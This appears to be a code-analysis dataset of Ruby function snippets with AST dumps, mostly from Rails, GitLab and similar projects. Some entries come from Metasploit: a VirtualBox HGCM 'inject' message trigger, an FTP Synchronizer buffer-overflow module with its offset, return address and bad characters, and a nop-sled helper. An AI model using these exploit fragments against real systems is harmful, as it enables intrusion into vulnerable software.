end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buff_addr\"]},{\"type\":\"arg\",\"children\":[\"buff_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"CALL_EA_MSG_SIZE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SHCRGL_GUEST_FN_INJECT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SHCRGL_CPARMS_INJECT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VMM_DEV_HGCM_PARM_TYPE_32_BIT\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[28]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[32]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff_length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]=\",{\"type\":\"int\",\"children\":[36]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buff_addr\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"send_ioctl\",{\"type\":\"const\",\"children\":[null,\"VBOXGUEST_IOCTL_HGCM_CALL\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"33b757c8-d31c-42b3-b4fe-e394cdcf354e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/packages_base_resolver.rb","start_line":55,"raw_source":"def packages_available?\n ::Gitlab.config.packages.enabled\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"packages_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"config\"]},\"packages\"]},\"enabled\"]}]}","id":"e722dfae-64ef-41cd-be98-f4a4b85ab59a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":457,"raw_source":"def image_ports(current_data)\n return [] unless current_data[:image].is_a?(Hash)\n\n current_data.dig(:image, :ports).to_a\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"image_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"image\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_data\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"to_a\"]}]}]}","id":"521619a9-d3fc-432e-a203-78f4674a894c"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/twitter/authorizations_controller.rb","start_line":18,"raw_source":"def oauth_token\n parsed_body['oauth_token']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"oauth_token\"]}]}]}","id":"0e225e6d-8236-4c79-9973-f110de923e07"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/mapper/base.rb","start_line":14,"raw_source":"def process(...)\n context.logger.instrument(mapper_instrumentation_key) do\n process_without_instrumentation(...)\n end\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"logger\"]},\"instrument\",{\"type\":\"send\",\"children\":[null,\"mapper_instrumentation_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_without_instrumentation\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"53ba0454-7ce5-4320-a670-7b992d4058a1"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":430,"raw_source":"def audio_path(source, options = {})\n path_to_asset(source, { type: :audio }.merge!(options))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"audio_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"path_to_asset\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"audio\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"011c7646-1e70-4333-96c8-01d53a5c394e"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":187,"raw_source":"def test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given\n connection = connection_without_insert_returning\n result = connection.exec_insert(\"insert into postgresql_partitioned_table_parent DEFAULT VALUES\", nil, [], \"id\")\n expect = connection.query(\"select max(id) from postgresql_partitioned_table_parent\").first.first\n assert_equal expect.to_i, result.rows.first.first\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exec_insert_default_values_with_returning_disabled_and_no_sequence_name_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[null,\"connection_without_insert_returning\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"exec_insert\",{\"type\":\"str\",\"children\":[\"insert into postgresql_partitioned_table_parent DEFAULT VALUES\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"query\",{\"type\":\"str\",\"children\":[\"select max(id) from postgresql_partitioned_table_parent\"]}]},\"first\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"first\"]},\"first\"]}]}]}]}","id":"bb25b38f-578a-4e11-8543-eadece778644"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":199,"raw_source":"def import_avatar(user, avatar_url)\n if @filestore_root_directory.blank? || avatar_url.blank? || avatar_url.include?(\"anonymous\")\n return\n end\n\n if match_data = avatar_url.match(LOCAL_AVATAR_REGEX)\n avatar_path =\n File.join(\n @filestore_root_directory,\n match_data[:directory].gsub(\"-\", \".\"),\n match_data[:path].split(\"-\"),\n match_data[:filename],\n )\n\n if File.file?(avatar_path)\n @uploader.create_avatar(user, avatar_path)\n else\n STDERR.puts \"Could not find avatar: #{avatar_path}\"\n end\n elsif avatar_url.match?(REMOTE_AVATAR_REGEX)\n begin\n UserAvatar.import_url_for_user(avatar_url, user)\n rescue StandardError\n nil\n end\n end\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"import_avatar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"avatar_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filestore_root_directory\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"include?\",{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"LOCAL_AVATAR_REGEX\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"avatar_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@filestore_root_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uploader\"]},\"create_avatar\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find avatar: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"REMOTE_AVATAR_REGEX\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAvatar\"]},\"import_url_for_user\",{\"type\":\"lvar\",\"children\":[\"avatar_url\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]}]}]}]}","id":"5ebb3466-d5ca-4c7b-9120-0d210bd25071"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/categories_controller.rb","start_line":49,"raw_source":"def category_params\n params.require(:category).permit(\n :name, :description, :position, :slug, :locale, :icon, :parent_category_id, :associated_category_id\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"category_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"sym\",\"children\":[\"associated_category_id\"]}]}]}","id":"ebfd5fa8-0592-4967-88fd-f7a058ab20c1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/relationship.rb","start_line":71,"raw_source":"def resource_pair\n [resource_type, resource_id]\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_pair\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_type\"]},{\"type\":\"send\",\"children\":[null,\"resource_id\"]}]}]}","id":"7fdf488e-39cd-4591-8414-818d3c3c8f74"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/git_http_controller.rb","start_line":121,"raw_source":"def access_actor\n return user if user\n\n :ci if ci?\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"access_actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ci?\"]},{\"type\":\"sym\",\"children\":[\"ci\"]},null]}]}]}","id":"abe3df51-2867-487a-91ae-776fd994b594"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/create_service.rb","start_line":151,"raw_source":"def quick_action_options\n {\n merge_request_diff_head_sha: params[:merge_request_diff_head_sha],\n review_id: params[:review_id],\n scope_validator: params[:scope_validator]\n }\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quick_action_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"review_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"review_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}","id":"543bc531-325b-4e3f-b4a3-6c1af3d0287d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/ftpsynch_list_reply.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\n version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\n the client in response to a LIST command.\n The LIST command gets issued when doing a preview or when you have just created a new\n sync profile and allow the tool to see the differences.\n This will overwrite a structured exception handler and trigger an access violation.\n },\n 'Author' => [\n 'myne-us',\t# found the bug\n 'corelanc0d3r '\t# wrote the exploit\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2010-20107' ],\n [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],\n ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread',\n },\n 'Payload' => {\n 'BadChars' => \"\\x00\\x0a\\x2f\\x5c\",\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'XP Universal', { 'Offset' => 854, 'Ret' => \"\\x2D\\x78\" } ], # p/p/r FTPSynchronizer.exe\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2010-10-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro\\n\"]},{\"type\":\"str\",\"children\":[\" version 4.0.73.274 The overflow gets triggered by sending an overly long filename to\\n\"]},{\"type\":\"str\",\"children\":[\" the client in response to a LIST command.\\n\"]},{\"type\":\"str\",\"children\":[\" The LIST command gets issued when doing a preview or when you have just created a new\\n\"]},{\"type\":\"str\",\"children\":[\" sync profile and allow the tool to see the differences.\\n\"]},{\"type\":\"str\",\"children\":[\" This will overwrite a structured exception handler and trigger an access violation.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"myne-us\"]},{\"type\":\"str\",\"children\":[\"corelanc0d3r \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20107\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n/\\\\\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"XP Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[854]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"str\",\"children\":[\"-x\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-10-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"f71d9613-f099-4692-af09-5b69e469c27d"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":414,"raw_source":"def test_exist\n key = SecureRandom.alphanumeric\n @cache.write(key, \"bar\")\n assert_equal true, @cache.exist?(key)\n assert_equal false, @cache.exist?(SecureRandom.uuid)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]}]}]}]}","id":"870a8c44-9370-40cc-b433-38043b9dba2b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/simple/nop.rb","start_line":23,"raw_source":"def self.generate_simple(nop, length, opts)\n # Generate the nop sled using the options supplied\n buf = nop.generate_sled(length, opts)\n\n # Serialize the generated payload to some sort of format\n return Buffer.transform(buf, opts['Format'] || 'raw')\n end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_simple\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nop\"]},{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nop\"]},\"generate_sled\",{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Buffer\"]},\"transform\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Format\"]}]},{\"type\":\"str\",\"children\":[\"raw\"]}]}]}]}]}]}","id":"5bfecd31-efe4-4fe2-bf54-e5bde1a07838"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":329,"raw_source":"def use_glob?(path)\n if @glob_policy == :always\n # For future extensions, we decided to use `always' term to handle\n # regular expressions as much as possible.\n # This is because not using `true' as a returning value\n # when choosing :always here.\n extended_glob_pattern(path) || /\\{.*,.*\\}/.match?(path)\n elsif @glob_policy == :extended\n extended_glob_pattern(path)\n elsif @glob_policy == :backward_compatible\n path.include?('*')\n end\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"use_glob?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"always\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extended_glob_pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\{.*,.*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"extended\"]}]},{\"type\":\"send\",\"children\":[null,\"extended_glob_pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"backward_compatible\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"include?\",{\"type\":\"str\",\"children\":[\"*\"]}]},null]}]}]}]}","id":"2fe6b6b5-40c0-4f04-960b-030eeed4e47e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":146,"raw_source":"def file_stat(file)\n with_depot do\n mnt.stat(file)\n end\n 